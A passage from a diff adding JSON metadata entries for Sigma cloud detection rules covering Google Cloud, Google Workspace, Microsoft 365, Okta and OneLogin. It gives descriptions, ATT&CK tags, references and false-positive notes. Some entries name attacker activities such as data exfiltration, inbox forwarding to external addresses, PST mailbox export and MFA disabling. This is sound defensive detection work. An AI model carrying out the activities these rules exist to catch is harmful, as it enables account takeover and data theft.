"13f81a90-a69c-4fab-8f07-b5bb55416a9f", + "value": "Google Cloud Service Account Disabled or Deleted", + "meta": { + "refs": [ + "https://cloud.google.com/iam/docs/reference/rest/v1/projects.serviceAccounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_service_account_disabled_or_deleted.yml" + ], + "tags": [ + "attack.impact", + "attack.t1531" + ], + "creation_date": "2021/08/14", + "filename": "gcp_service_account_disabled_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Service Account being disabled or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Service Account disabled or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "gcp" + } + }, + { + "description": "Identifies when a service account is modified in Google Cloud.", + "uuid": "6b67c12e-5e40-47c6-b3b0-1e6b571184cc", + "value": "Google Cloud Service Account Modified", + "meta": { + "refs": [ + "https://cloud.google.com/iam/docs/reference/rest/v1/projects.serviceAccounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_service_account_modified.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/14", + "filename": "gcp_service_account_modified.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Service Account being modified may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Service Account modified from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "gcp" + } + }, + { + "description": "Detect when a Cloud SQL DB has been modified or deleted.", + "uuid": "f346bbd5-2c4e-4789-a221-72de7685090d", + "value": "Google Cloud SQL Database Modified or Deleted", + "meta": { + "refs": [ + "https://cloud.google.com/sql/docs/mysql/admin-api/rest/v1beta4/users/update", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_sql_database_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/10/15", + "filename": "gcp_sql_database_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "SQL Database being modified or deleted may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "SQL Database modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "gcp" + } + }, + { + "description": "Identifies when a VPN Tunnel Modified or Deleted in Google Cloud.", + "uuid": "99980a85-3a61-43d3-ac0f-b68d6b4797b1", + "value": "Google Cloud VPN Tunnel Modified or Deleted", + "meta": { + "refs": [ + "https://any-api.com/googleapis_com/compute/docs/vpnTunnels", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_vpn_tunnel_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/16", + "filename": "gcp_vpn_tunnel_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "VPN Tunnel being modified or deleted may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "VPN Tunnel modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "gcp" + } + }, + { + "description": "Detects when an an application is removed from Google Workspace.", + "uuid": "ee2803f0-71c8-4831-b48b-a1fc57601ee4", + "value": "Google Workspace Application Removed", + "meta": { + "refs": [ + "https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3", + "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-domain-settings?hl=en#REMOVE_APPLICATION", + "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-domain-settings?hl=en#REMOVE_APPLICATION_FROM_WHITELIST", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gworkspace/gworkspace_application_removed.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/26", + "filename": "gworkspace_application_removed.yml", + "author": "Austin Songer", + "level": "medium", + "falsepositive": [ + "Application being removed may be performed by a System Administrator." + ], + "logsource.category": "No established category", + "logsource.product": "google_workspace" + } + }, + { + "description": "Detects when an API access service account is granted domain authority.", + "uuid": "04e2a23a-9b29-4a5c-be3a-3542e3f982ba", + "value": "Google Workspace Granted Domain API Access", + "meta": { + "refs": [ + "https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3", + "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-domain-settings#AUTHORIZE_API_CLIENT_ACCESS", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gworkspace/gworkspace_granted_domain_api_access.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1098" + ], + "creation_date": "2021/08/23", + "filename": "gworkspace_granted_domain_api_access.yml", + "author": "Austin Songer", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "google_workspace" + } + }, + { + "description": "Detects when multi-factor authentication (MFA) is disabled.", + "uuid": "780601d1-6376-4f2a-884e-b8d45599f78c", + "value": "Google Workspace MFA Disabled", + "meta": { + "refs": [ + "https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3", + "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-security-settings#ENFORCE_STRONG_AUTHENTICATION", + "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-security-settings?hl=en#ALLOW_STRONG_AUTHENTICATION", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gworkspace/gworkspace_mfa_disabled.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/26", + "filename": "gworkspace_mfa_disabled.yml", + "author": "Austin Songer", + "level": "medium", + "falsepositive": [ + "MFA may be disabled and performed by a system administrator." + ], + "logsource.category": "No established category", + "logsource.product": "google_workspace" + } + }, + { + "description": "Detects when an a role is modified or deleted in Google Workspace.", + "uuid": "6aef64e3-60c6-4782-8db3-8448759c714e", + "value": "Google Workspace Role Modified or Deleted", + "meta": { + "refs": [ + "https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3", + "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-delegated-admin-settings", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gworkspace/gworkspace_role_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/24", + "filename": "gworkspace_role_modified_or_deleted.yml", + "author": "Austin Songer", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "google_workspace" + } + }, + { + "description": "Detects when an a role privilege is deleted in Google Workspace.", + "uuid": "bf638ef7-4d2d-44bb-a1dc-a238252e6267", + "value": "Google Workspace Role Privilege Deleted", + "meta": { + "refs": [ + "https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3", + "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-delegated-admin-settings", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gworkspace/gworkspace_role_privilege_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/24", + "filename": "gworkspace_role_privilege_deleted.yml", + "author": "Austin Songer", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "google_workspace" + } + }, + { + "description": "Detects when an Google Workspace user is granted admin privileges.", + "uuid": "2d1b83e4-17c6-4896-a37b-29140b40a788", + "value": "Google Workspace User Granted Admin Privileges", + "meta": { + "refs": [ + "https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3", + "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-user-settings#GRANT_ADMIN_PRIVILEGE", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gworkspace/gworkspace_user_granted_admin_privileges.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1098" + ], + "creation_date": "2021/08/23", + "filename": "gworkspace_user_granted_admin_privileges.yml", + "author": "Austin Songer", + "level": "medium", + "falsepositive": [ + "Google Workspace admin role privileges, may be modified by system administrators." + ], + "logsource.category": "No established category", + "logsource.product": "google_workspace" + } + }, + { + "description": "Detects when a Microsoft Cloud App Security reported for users whose account were terminated in Azure AD, but still perform activities in other platforms such as AWS or Salesforce.\nThis is especially relevant for users who use another account to manage resources, since these accounts are often not terminated when a user leaves the company.\n", + "uuid": "2e669ed8-742e-4fe5-b3c4-5a59b486c2ee", + "value": "Activity Performed by Terminated User", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", + "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_activity_by_terminated_user.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/23", + "filename": "microsoft365_activity_by_terminated_user.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "m365" + } + }, + { + "description": "Detects when a Microsoft Cloud App Security reported when users were active from an IP address that has been identified as an anonymous proxy IP address.", + "uuid": "d8b0a4fe-07a8-41be-bd39-b14afa025d95", + "value": "Activity from Anonymous IP Addresses", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", + "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_activity_from_anonymous_ip_addresses.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1573" + ], + "creation_date": "2021/08/23", + "filename": "microsoft365_activity_from_anonymous_ip_addresses.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "User using a VPN or Proxy" + ], + "logsource.category": "No established category", + "logsource.product": "m365" + } + }, + { + "description": "Detects when a Microsoft Cloud App Security reported when an activity occurs from a location that wasn't recently or never visited by any user in the organization.", + "uuid": "0f2468a2-5055-4212-a368-7321198ee706", + "value": "Activity from Infrequent Country", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", + "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_activity_from_infrequent_country.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1573" + ], + "creation_date": "2021/08/23", + "filename": "microsoft365_activity_from_infrequent_country.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "m365" + } + }, + { + "description": "Detects when a Microsoft Cloud App Security reported when a user or IP address uses an app that is not sanctioned to perform an activity that resembles an attempt to exfiltrate information from your organization.", + "uuid": "2b669496-d215-47d8-bd9a-f4a45bf07cda", + "value": "Data Exfiltration to Unsanctioned Apps", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", + "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_data_exfiltration_to_unsanctioned_app.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1537" + ], + "creation_date": "2021/08/23", + "filename": "microsoft365_data_exfiltration_to_unsanctioned_app.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "m365" + } + }, + { + "description": "Detects when a Microsoft Cloud App Security reported users were active from an IP address identified as risky by Microsoft Threat Intelligence.\nThese IP addresses are involved in malicious activities, such as Botnet C&C, and may indicate compromised account.\n", + "uuid": "a3501e8e-af9e-43c6-8cd6-9360bdaae498", + "value": "Activity from Suspicious IP Addresses", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", + "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_from_susp_ip_addresses.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1573" + ], + "creation_date": "2021/08/23", + "filename": "microsoft365_from_susp_ip_addresses.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "m365" + } + }, + { + "description": "Detects when a Microsoft Cloud App Security reported a risky sign-in attempt due to a login associated with an impossible travel.", + "uuid": "d7eab125-5f94-43df-8710-795b80fa1189", + "value": "Microsoft 365 - Impossible Travel Activity", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", + "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_impossible_travel_activity.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1078" + ], + "creation_date": "2020/07/06", + "filename": "microsoft365_impossible_travel_activity.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "m365" + } + }, + { + "description": "Detects when a Microsoft Cloud App Security reported when a user signs into your sanctioned apps from a risky IP address.", + "uuid": "c191e2fa-f9d6-4ccf-82af-4f2aba08359f", + "value": "Logon from a Risky IP Address", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", + "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_logon_from_risky_ip_address.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1078" + ], + "creation_date": "2021/08/23", + "filename": "microsoft365_logon_from_risky_ip_address.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "m365" + } + }, + { + "description": "Alert for the addition of a new federated domain.", + "uuid": "42127bdd-9133-474f-a6f1-97b6c08a4339", + "value": "New Federated Domain Added", + "meta": { + "refs": [ + "https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/wp-m-unc2452-2021-000343-01.pdf", + "https://us-cert.cisa.gov/ncas/alerts/aa21-008a", + "https://www.splunk.com/en_us/blog/security/a-golden-saml-journey-solarwinds-continued.html", + "https://www.sygnia.co/golden-saml-advisory", + "https://o365blog.com/post/aadbackdoor/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_new_federated_domain_added.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1136.003" + ], + "creation_date": "2022/02/08", + "filename": "microsoft365_new_federated_domain_added.yml", + "author": "@ionsor", + "level": "medium", + "falsepositive": [ + "The creation of a new Federated domain is not necessarily malicious, however these events need to be followed closely, as it may indicate federated credential abuse or backdoor via federated identities at a similar or different cloud provider." + ], + "logsource.category": "No established category", + "logsource.product": "m365" + } + }, + { + "description": "Detects when a Microsoft Cloud App Security reported when a user uploads files to the cloud that might be infected with ransomware.", + "uuid": "bd132164-884a-48f1-aa2d-c6d646b04c69", + "value": "Microsoft 365 - Potential Ransomware Activity", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", + "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_potential_ransomware_activity.yml" + ], + "tags": [ + "attack.impact", + "attack.t1486" + ], + "creation_date": "2021/08/19", + "filename": "microsoft365_potential_ransomware_activity.yml", + "author": "austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "m365" + } + }, + { + "description": "Alert on when a user has performed an eDiscovery search or exported a PST file from the search. This PST file usually has sensitive information including email body content", + "uuid": "18b88d08-d73e-4f21-bc25-4b9892a4fdd0", + "value": "PST Export Alert", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1114/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_pst_export_alert.yml" + ], + "tags": [ + "attack.collection", + "attack.t1114" + ], + "creation_date": "2022/02/08", + "filename": "microsoft365_pst_export_alert.yml", + "author": "Sorina Ionescu", + "level": "medium", + "falsepositive": [ + "PST export can be done for legitimate purposes but due to the sensitive nature of its content it must be monitored." + ], + "logsource.category": "No established category", + "logsource.product": "m365" + } + }, + { + "description": "Detects when a Microsoft Cloud App Security reported suspicious email forwarding rules, for example, if a user created an inbox rule that forwards a copy of all emails to an external address.", + "uuid": "6c220477-0b5b-4b25-bb90-66183b4089e8", + "value": "Suspicious Inbox Forwarding", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", + "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_susp_inbox_forwarding.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1020" + ], + "creation_date": "2021/08/22", + "filename": "microsoft365_susp_inbox_forwarding.yml", + "author": "Austin Songer @austinsonger", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "m365" + } + }, + { + "description": "Detects when a Microsoft Cloud App Security reported when an app downloads multiple files from Microsoft SharePoint or Microsoft OneDrive in a manner that is unusual for the user.", + "uuid": "ee111937-1fe7-40f0-962a-0eb44d57d174", + "value": "Suspicious OAuth App File Download Activities", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", + "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_susp_oauth_app_file_download_activities.yml" + ], + "tags": [ + "attack.exfiltration" + ], + "creation_date": "2021/08/23", + "filename": "microsoft365_susp_oauth_app_file_download_activities.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "m365" + } + }, + { + "description": "Detects when a Microsoft Cloud App Security reported a user has deleted a unusual a large volume of files.", + "uuid": "78a34b67-3c39-4886-8fb4-61c46dc18ecd", + "value": "Microsoft 365 - Unusual Volume of File Deletion", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", + "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_unusual_volume_of_file_deletion.yml" + ], + "tags": [ + "attack.impact", + "attack.t1485" + ], + "creation_date": "2021/08/19", + "filename": "microsoft365_unusual_volume_of_file_deletion.yml", + "author": "austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "m365" + } + }, + { + "description": "Detects when a Security Compliance Center reported a user who exceeded sending limits of the service policies and because of this has been restricted from sending email.", + "uuid": "ff246f56-7f24-402a-baca-b86540e3925c", + "value": "Microsoft 365 - User Restricted from Sending Email", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", + "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_user_restricted_from_sending_email.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1199" + ], + "creation_date": "2021/08/19", + "filename": "microsoft365_user_restricted_from_sending_email.yml", + "author": "austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "m365" + } + }, + { + "description": "Detects when an the Administrator role is assigned to an user or group.", + "uuid": "413d4a81-6c98-4479-9863-014785fd579c", + "value": "Okta Admin Role Assigned to an User or Group", + "meta": { + "refs": [ + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_admin_role_assigned_to_user_or_group.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/09/12", + "filename": "okta_admin_role_assigned_to_user_or_group.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Administrator roles could be assigned to users or group by other admin users." + ], + "logsource.category": "No established category", + "logsource.product": "okta" + } + }, + { + "description": "Detects when a API token is created", + "uuid": "19951c21-229d-4ccb-8774-b993c3ff3c5c", + "value": "Okta API Token Created", + "meta": { + "refs": [ + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_api_token_created.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2021/09/12", + "filename": "okta_api_token_created.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "okta" + } + }, + { + "description": "Detects when a API Token is revoked.", + "uuid": "cf1dbc6b-6205-41b4-9b88-a83980d2255b", + "value": "Okta API Token Revoked", + "meta": { + "refs": [ + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_api_token_revoked.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/09/12", + "filename": "okta_api_token_revoked.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "okta" + } + }, + { + "description": "Detects when an application is modified or deleted.", + "uuid": "7899144b-e416-4c28-b0b5-ab8f9e0a541d", + "value": "Okta Application Modified or Deleted", + "meta": { + "refs": [ + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_application_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/09/12", + "filename": "okta_application_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "okta" + } + }, + { + "description": "Detects when an application Sign-on Policy is modified or deleted.", + "uuid": "8f668cc4-c18e-45fe-ad00-624a981cf88a", + "value": "Okta Application Sign-On Policy Modified or Deleted", + "meta": { + "refs": [ + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_application_sign_on_policy_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/09/12", + "filename": "okta_application_sign_on_policy_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "okta" + } + }, + { + "description": "Detects when an attempt at deactivating or resetting MFA.", + "uuid": "50e068d7-1e6b-4054-87e5-0a592c40c7e0", + "value": "Okta MFA Reset or Deactivated", + "meta": { + "refs": [ + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_mfa_reset_or_deactivated.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2021/09/21", + "filename": "okta_mfa_reset_or_deactivated.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "If a MFA reset or deactivated was performed by a system administrator." + ], + "logsource.category": "No established category", + "logsource.product": "okta" + } + }, + { + "description": "Detects when an Network Zone is Deactivated or Deleted.", + "uuid": "9f308120-69ed-4506-abde-ac6da81f4310", + "value": "Okta Network Zone Deactivated or Deleted", + "meta": { + "refs": [ + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_network_zone_deactivated_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/09/12", + "filename": "okta_network_zone_deactivated_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "okta" + } + }, + { + "description": "Detects when an Okta policy is modified or deleted.", + "uuid": "1667a172-ed4c-463c-9969-efd92195319a", + "value": "Okta Policy Modified or Deleted", + "meta": { + "refs": [ + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_policy_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/09/12", + "filename": "okta_policy_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "low", + "falsepositive": [ + "Okta Policies being modified or deleted may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Okta Policies modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "okta" + } + }, + { + "description": "Detects when an Policy Rule is Modified or Deleted.", + "uuid": "0c97c1d3-4057-45c9-b148-1de94b631931", + "value": "Okta Policy Rule Modified or Deleted", + "meta": { + "refs": [ + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_policy_rule_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/09/12", + "filename": "okta_policy_rule_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "okta" + } + }, + { + "description": "Detects when an security threat is detected in Okta.", + "uuid": "5c82f0b9-3c6d-477f-a318-0e14a1df73e0", + "value": "Okta Security Threat Detected", + "meta": { + "refs": [ + "https://okta.github.io/okta-help/en/prod/Content/Topics/Security/threat-insight/configure-threatinsight-system-log.htm", + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_security_threat_detected.yml" + ], + "tags": "No established tags", + "creation_date": "2021/09/12", + "filename": "okta_security_threat_detected.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "okta" + } + }, + { + "description": "Detects when unauthorized access to app occurs.", + "uuid": "6cc2b61b-d97e-42ef-a9dd-8aa8dc951657", + "value": "Okta Unauthorized Access to App", + "meta": { + "refs": [ + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_unauthorized_access_to_app.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/09/12", + "filename": "okta_unauthorized_access_to_app.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "User might of believe that they had access." + ], + "logsource.category": "No established category", + "logsource.product": "okta" + } + }, + { + "description": "Detects when an user account is locked out.", + "uuid": "14701da0-4b0f-4ee6-9c95-2ffb4e73bb9a", + "value": "Okta User Account Locked Out", + "meta": { + "refs": [ + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_user_account_locked_out.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/09/12", + "filename": "okta_user_account_locked_out.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "okta" + } + }, + { + "description": "Detects when an user assumed another user account.", + "uuid": "62fff148-278d-497e-8ecd-ad6083231a35", + "value": "OneLogin User Assumed Another User", + "meta": { + "refs": [ + "https://developers.onelogin.com/api-docs/1/events/event-resource", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/onelogin/onelogin_assumed_another_user.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/10/12", + "filename": "onelogin_assumed_another_user.yml", + "author": "Austin Songer @austinsonger", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "onelogin" + } + }, + { + "description": "Detects when an user account is locked or suspended.", + "uuid": "a717c561-d117-437e-b2d9-0118a7035d01", + "value": "OneLogin User Account Locked", + "meta": { + "refs": [ + "https://developers.onelogin.com/api-docs/1/events/event-resource/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/onelogin/onelogin_user_account_locked.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/10/12", + "filename": "onelogin_user_account_locked.yml", + "author": "Austin Songer @austinsonger", + "level": "low", + "falsepositive": [ + "System may lock or suspend user accounts." + ], + "logsource.category": "No established category", + "logsource.product": "onelogin" + } + }, + { + "description": "Before deploying any new asset, change all default passwords to have values consistent with administrative level accounts.\nSigma detects default credentials usage. Sigma for Qualys vulnerability scanner. Scan type - Vulnerability Management.\n", + "uuid": "1a395cbc-a84a-463a-9086-ed8a70e573c7", + "value": "Default Credentials Usage", + "meta": { + "refs": [ + "https://www.cisecurity.org/controls/cis-controls-list/", + "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", + "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", + 